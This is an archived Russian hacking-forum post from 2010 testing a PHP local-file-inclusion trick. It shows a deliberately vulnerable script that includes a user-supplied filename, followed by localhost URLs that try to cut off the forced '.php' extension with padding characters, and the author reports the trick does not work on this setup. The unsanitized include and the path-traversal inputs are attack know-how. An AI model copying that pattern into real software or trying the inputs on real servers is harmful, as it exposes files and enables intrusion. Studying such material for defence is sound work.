20.03.2010, 05:52
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме:
3363660
Репутация:
1148
|
|
win xp sp2
Server API Apache 2.0 Handler
PHP Version 5.3.1
Apache/2.2.4
allow_url_fopen On
allow_url_include Off
1.php
PHP код:
include ($_GET['f'].'.php');
if($yes)
{
echo '<br>использовано ".": '.strlen($_GET['f']);
}
lol.txt
Инклуд с текущего каталога!
Код:
http://localhost/include/1.php?f=lol.txt[.]
http://localhost/include/1.php?f=lol.txt[%20]
http://localhost/include/1.php?f=lol.txt[%22]
http://localhost/include/1.php?f=lol.txt[.%20]
За пределы!
Код:
http://localhost/include/1.php?f=inc/lol.txt[.]
etc
(:чтоб была ясна - не работает баг!
Последний раз редактировалось Strilo4ka; 20.03.2010 в 19:00..
|
|
|